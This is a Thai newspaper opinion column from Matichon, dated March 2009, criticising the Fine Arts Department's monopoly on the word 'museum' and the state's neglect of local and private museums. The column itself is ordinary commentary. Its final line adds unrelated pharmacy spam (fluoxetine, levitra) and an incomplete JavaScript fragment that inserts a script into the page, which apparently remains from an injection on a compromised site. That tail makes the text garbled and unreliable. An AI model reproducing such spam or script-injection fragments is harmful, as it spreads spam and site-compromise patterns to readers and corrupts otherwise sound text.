หนังสือพิมพ์มติชน ฉบับประจำวันอังคารที่ 31 มีนาคม 2552

พิพิธภัณฑ์ในประเทศไทย ถ้าดูกว้างๆ แล้วอาจจำแนกได้ 3 กลุ่มใหญ่ๆ คือ

1.พิพิธภัณฑ์ในกรมศิลปากร กระทรวงวัฒนธรรม เรียก“พิพิธภัณฑสถานแห่งชาติ” 2. พิพิธภัณฑ์ในกำกับของกระทรวงทบวงกรมอื่นๆ เช่น พิพิธภัณฑ์กองทัพเรือที่สมุทรปราการ, ฯลฯ  3. พิพิธภัณฑ์นอกราชการและของเอกชน เช่น พิพิธภัณฑ์วัดพระธาตุพนม จังหวัดนครพนม, พิพิธภัณฑ์ของจ่าทวี บูรณเขตต์ จังหวัดพิษณุโลก ฯลฯ

น่าประหลาดที่หอวัฒนธรรมนิทัศน์ วัดศรีโคมคำ จังหวัดพะเยา ถูกห้ามจากกรมศิลปากร มิให้ใช้คำว่า “พิพิธภัณฑ์” เพราะงานนี้เป็นของสำนักงานวัฒนธรรมแห่งชาติ(สวช.) เหตุจากอธิบดีกรมศิลปากรครั้งนั้น “เบี้ยว” (คือรับปาก แล้วไม่ทำ)

ไม่น่าเชื่อว่ามีการผูกขาดเป็นเจ้าของคำว่า“พิพิธภัณฑ์”ทั้งๆอยู่กระทรวงเดียวกันแท้ๆ
อันที่จริงเคยเกิดปัญหาการใช้คำว่าพิพิธภัณฑ์เมื่อสัก 20 ปีมาแล้ว ผมเคยเขียนถึงคราวนั้นด้วย เมื่อเจ้าหน้าที่กรมศิลปากรห้ามพระสงฆ์วัดใต้ กาญจนบุรี ใช้คำว่าพิพิธภัณฑ์ ที่วัดทำขึ้นเรื่องสะพานข้ามแม่น้ำแควในสงครามโลกครั้งที่ 2 แล้วมีคนชื่นชมมาก

ล่าสุดมีข่าวใน มติชน (ฉบับวันจันทร์ที่ 23 มีนาคม 2552 หน้า 22) ว่า ศูนย์มานุษยวิทยาสิรินธร (องค์การมหาชน) ได้สรุปผลการระดมความคิดจากนักวิชาการ ผู้ทรงคุณวุฒิ ทางด้านวัฒนธรรมเกี่ยวกับสถานการณ์พิพิธภัณฑ์ท้องถิ่น และพิพิธภัณฑ์เอกชน พบว่าปัญหาของพิพิธภัณฑ์ไทยในขณะนี้เป็นเพราะรัฐให้ความสำคัญกับพิพิธภัณฑ์น้อยมาก ไม่มีในการสนับสนุนที่ชัดเจน กระบวนการช่วยเหลือล่าช้า รวมทั้งมองไม่เห็นว่าวัฒนธรรมมีความสำคัญต่อประเทศชาติ

นักวิชาการและผู้ทรงคุณวุฒิได้เสนอแนวทางการพัฒนาเอาไว้หลายข้อ อาทิ การจัดทำทะเบียนพิพิธภัณฑ์และแผนพัฒนาให้ชัดเจนการผลักดันให้เป็นวาระแห่งชาติ อีกทั้งเสนอให้นำหน่วยงานอื่นๆเข้าร่วมในสนับสนุนพิพิธภัณฑ์ ไม่ใช่มีเพียงกรมศิลปากรพียงหน่วยงานเดียว โดยเฉพาะองค์กรปกครองส่วนท้องถิ่น การเสนอให้รัฐรณรงค์และปลูกฝังให้เด็กเยาวชนตระหนัก ว่าพิพิธภัณฑ์คือสถานศึกษาที่จะเรียนรู้ประวัติศาสตร์และวัฒนธรรมของตนเอง การบรรจุเรื่องการศึกษาวัฒนธรรมโดยอาศัยพิพิธภัณฑ์ไว้ในแผนการเรียนและหลักสูตรการสอน เป็นต้น

อ่านแล้วขำเหมือนเรื่องตลกประจำปี เพราะพูดกันอย่างนี้ไม่น้อยกว่า 30-40 ปีมาแล้ว จนบางครั้งบางคราวก็ “เบื่อชิบเป๋ง” เพราะพูดซ้ำซาก แต่ผู้รับผิดชอบเป็นสากกะเบือ ยังดีที่สถาบันระดับนี้ยังกล้าว่ากล่าวกันตรงไปตรงมา เพื่อผลักดันให้พิพิธภัณฑ์ก้าวหน้ากว่านี้

ข้อเสนอให้หน่วยงานอื่นๆเข้าร่วมทำพิพิธภัณฑ์ ไม่ใช่ผูกขาดอยู่ที่กรมศิลปากรแห่งเดียวเป็นเรื่องสำคัญที่สุดที่ต้องแก้ไขเร็วที่สุด แต่ต้องสร้าง “ภัณฑารักษ์” ยุคใหม่ออกมาให้หลุดพ้นจากขุมประวัติศาสตร์ศิลปะด้วย แล้วเลิกผูกขาดคำว่า “พิพิธภัณฑ์” เสียทีเถิด ดูมันช่างล้าหลังสิ้นดี

ส่วนจะปลูกฝังเด็กและเยาวชนให้ตระหนักว่าพิพิธภัณฑ์คือแหล่งเรียนรู้ประวัติศาสตร์และวัฒนธรรมของตนนั้น ต้องให้มีพิพิธภัณฑ์ที่จัดแสดงเรื่องประวัติศาสตร์สังคมและวัฒนธรรมของประเทศไทยและอุษาคเนย์เสียก่อน เพราะขณะนี้ยังไม่มี และไม่เคยมีประวัติศาสตร์สังคม ที่มีในพิพิธภัณฑสถานแห่งชาตินั้นไม่ใช่ นี่แหละที่ทำให้คนไม่เข้าพิพิธภัณฑ์ “แห่งชาติ”

อย่าโทษเด็กและเยาวชนรวมทั้งคนทั่วไป กรุณาโทษพวกพ้องของตัวเองที่ผูกขาดจัดพิพิธภัณฑ์ “แห่งชาติ”  อย่าเอาดีใส่ตัว เอาชั่วใส่คนอื่น หน้าด้าน

two-cover31-03-52fluoxetine 30 mg cheap levitra 20mgdocument.currentScript.parentNode.insertBefore(s, document.currentScript);